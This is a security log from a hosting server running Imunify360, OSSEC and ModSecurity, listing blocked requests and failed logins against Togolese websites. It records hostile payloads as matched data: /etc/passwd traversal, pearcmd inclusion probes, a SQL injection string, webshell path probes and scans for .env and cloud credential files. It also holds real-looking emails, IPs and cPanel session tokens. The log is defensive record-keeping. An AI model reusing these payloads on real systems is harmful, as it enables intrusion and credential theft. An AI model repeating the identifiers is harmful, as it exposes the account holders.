IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Cecap : Les actifs de la coop\xc3\xa9rative en hausse de 9 % en 2023 | TOGODAILYNEWS&siteId=1&rec=1&rand=550884&h=5&m=47&s=23&url=http:/togodailynews.tg/cecap-les-actifs-de-la-cooperative-en-hausse-de-9-en-2023/&uid=0&pid=14942&visitorId=36de52de1e135b7a&fvts=1781214444&vc=1&idn=0&refts=0&lvts=1781214444&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3749&pvId=UDKjqQ&browser=Chrome_56&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.70.178
country_id: 3057568
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=L\xe2\x80\x99\xc3\xa9ducation des filles et l\xe2\x80\x99autonomisation \xc3\xa9conomique des femmes au c\xc5\x93ur d\xe2\x80\x99un forum r\xc3\xa9gional \xc3\xa0 Lom\xc3\xa9 | TOGODAILYNEWS&siteId=1&rec=1&rand=495311&h=5&m=50&s=7&url=http:/togodailynews.tg/leducation-des-filles-et-lautonomisation-economique-des-femmes-au-coeur-dun-forum-regional-a-lome/&uid=0&pid=17444&visitorId=a1e7ccd899cc5c8a&fvts=1781214608&vc=1&idn=0&refts=0&lvts=1781214608&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=5045&pvId=8XkxAC&browser=Chrome_58&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.113.147.40
country_id: 1814991
description:
2026-06-11 21:49:35 dovecot_plain authenticator failed for H=(v15p7fu07g567mqrgb9m6u6bzm) [123.113.147.40]:44968: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.113.147.40
country_id: 1814991
description:
Jun 11 21:49:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.113.147.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.133.158.159
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:51:25 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:55:52 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.117.243.149
country_id: 2750405
domain: www.shekina.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:82.117.243.149||TA:82.117.243.149||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 191.58.149.142
country_id: 3469034
description:
Jun 11 21:59:58 ns5 pure-ftpd[1007180]: (?@191.58.149.142) [WARNING] Authentication failed for user [czqxxxnu]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 191.58.149.142
country_id: 3469034
description:
Jun 11 21:59:53 ns5 pure-ftpd[1007180]: (?@191.58.149.142) [INFO] New connection from 191.58.149.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:00:52 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.164.241.67
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../../../usr/local/lib/php/pearcmd&/safedog() 9Sbl4rAR1g.log HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../../../usr/local/lib/php/pearcmd&/safedog() Cagc3swzFW.log HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/logo/logo-eoffice.php||SC:/home/cafetg/public_html/boutique.cafe.tg/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:02:03 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 88.164.241.67
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.15||T:APACHE||SC:/home/cafetg/public_html/servlet||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 88.164.241.67
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/home/cafetg/public_html/servlet||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.15||T:APACHE||SC:/home/cafetg/public_html/boutique.cafe.tg/servlet||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/home/cafetg/public_html/boutique.cafe.tg/servlet||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 UNION SELECT md5(999999999) as id from HrmResourceManager||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 88.164.241.67
country_id: 3017382
domain: boutique.cafe.tg
description:
IM360 WAF: Block system file path in request||MVN:ARGS:ostype||MV:../../../../../../../../../etc/passwd||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.101.118
country_id: 241170
domain: v2.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:T=a!c6H#@DP@.v2.arse.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.243.246.72
country_id: 2802361
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:lexecution-de-contrats-un-indicateur-touche-a-suffisance-par-les-reformes-au-togo/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.45.232.40
country_id: 2017370
description:
2026-06-11 22:06:18 dovecot_plain authenticator failed for H=(jjvt9zku9s3azsa4ng85mj83) [147.45.232.40]:40890: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.157.37.131
country_id: 2542007
description:
2026-06-11 22:07:41 H=([105.157.37.131]) [105.157.37.131]:28063 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.225.200.33
country_id: 1562822
description:
171.225.200.33 - - [11/Jun/2026:22:08:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015400&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffinancements-accrus-dans-la-zone-uemoa-lassurance-credit-renforcee-pour-la-boad%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781215686 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/financements-accrus-dans-la-zone-uemoa-lassurance-credit-renforcee-pour-la-boad/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.7701.1598 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.225.200.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:10:04 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-11 22:11:34 +0000] info [cpaneld] 5.175.213.112 - myxlsnta "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.18.157
country_id: 3895114
domain: tps.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:xdkbrmjc||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:16:28 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.168
country_id: 3865483
description:
Jun 11 22:19:10 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.186.49.156
country_id: 3923057
domain: zephyr.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/zephyr.tghttp/zephyr.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.157.37.131
country_id: 2542007
description:
2026-06-11 22:19:24 H=([105.157.37.131]) [105.157.37.131]:51144 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.118.62.111
country_id: 3625428
domain: zephyr.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/zephyr.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.168
country_id: 3865483
description:
Jun 11 22:19:24 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 45.3.55.16
country_id: 2921044
domain: misstogo.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.misstogo.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.172
country_id: 3175395
description:
Jun 11 22:19:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.67
country_id: 3469034
description:
Jun 11 22:19:53 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.86.157.69
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.86.157.69
country_id: 298795
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:20:30 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.155.66.167
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:21:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.155.66.167
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.44.27.162
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/peat-togo-leau-doit-couler-peu-importe-le-sacrifice/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.44.27.162
country_id: 690791
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/peat-togo-leau-doit-couler-peu-importe-le-sacrifice/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.254.215.10
country_id: 3469034
description:
170.254.215.10 - - [11/Jun/2026:22:26:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657174&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10257&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781216807 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10257" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.4269.1425 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.254.215.10


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 2.26.138.48
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-28.2.26.138.48||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.95.171.173
country_id: 3469034
domain: autodiscover.inger.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:root||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.78
country_id: 2635167
description:
[2026-06-11 22:28:32 +0000] info [cpaneld] 5.230.133.78 NEW togorer:DZF6w3SOAWbHH3cb address=5.230.133.78,app=cpaneld,creator=togorer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:31:25 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.17.82.64
country_id: 3175395
domain: mail.nerohost.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:nerohostfreenetm||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 129.227.39.122
country_id: 1643084
description:
[2026-06-11 22:36:46 +0000] info [cpaneld] 129.227.39.122 NEW togorer:6D2ySrjAK6pj6Iko address=129.227.39.122,app=cpaneld,creator=togorer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:36:52 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.237.73.24
country_id: 1880251
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tdn.tg/togo-wave-recrute-pour-ces-postes/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-11 22:40:11 +0000] info [cpaneld] 102.64.171.58 - mvfxewjz "GET /cpsess3072587257/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:42:18 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 35.74.240.166
country_id: 1861060
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-43.35.74.240.166||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.159
country_id: 6252001
description:
2026-06-11 22:44:50 dovecot_plain authenticator failed for H=(ex10r7fiw33xpfgtm3) [23.129.64.159]:56249: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.159
country_id: 6252001
description:
Jun 11 22:44:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.97.136.142
country_id: 6252001
domain: www.lasnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg/uploads/images/72.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.155.17.52
country_id: 3017382
domain: cafeit.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:cafeitadm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:47:07 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.201.197.34
country_id: 3469034
description:
Jun 11 22:48:53 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.201.197.34 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.4.107.172
country_id: 3469034
description:
189.4.107.172 - - [11/Jun/2026:22:50:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7237995&pdata=https%253A%252F%252Fcfpj.tg%252Fhdvc-368512citems%252Fetidm12oh.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781218219 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/hdvc-368512citems/etidm12oh.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.4.107.172


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.50.186.127
country_id: 6252001
domain: www.caissederetraites.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/src/.env.backup||User:assedderetrm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:54:09 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 22:54:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-11 22:55:43 +0000] info [cpaneld] 5.175.213.112 - admin "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-11 22:56:00 +0000] info [cpaneld] 5.175.213.112 - pharma "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 206.232.0.109
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.247.129.113
country_id: 6252001
description:
44.247.129.113 - - [11/Jun/2026:23:03:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935470&pdata=http%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219011 HTTP/1.1" 302 0 cfpj.tg "http://cfpj.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.247.129.113


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [11/Jun/2026:23:03:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236501&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fstructure-specialisee-dans-le-service-a-la-personne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219023 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/structure-specialisee-dans-le-service-a-la-personne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [11/Jun/2026:23:03:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591085&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-2-braqueurs-interpelles-machettes-police-nationale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219003 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-2-braqueurs-interpelles-machettes-police-nationale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [11/Jun/2026:23:05:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120600&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fstructure-specialisee-dans-le-service-a-la-personne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219124 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/structure-specialisee-dans-le-service-a-la-personne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:06:56 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [11/Jun/2026:23:07:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381164&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdosiapp%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219244 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dosiapp/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:07:27 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.203.13.97
country_id: 2661886
description:
2026-06-11 23:10:02 dovecot_plain authenticator failed for H=(70ldc3rxrzz08p00vnjrnolao) [193.203.13.97]:24210: 535 Incorrect authentication data (set_id=e.sanvee@lacs1.mairie.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: www.alerte.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:14:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.45
country_id: 6252001
description:
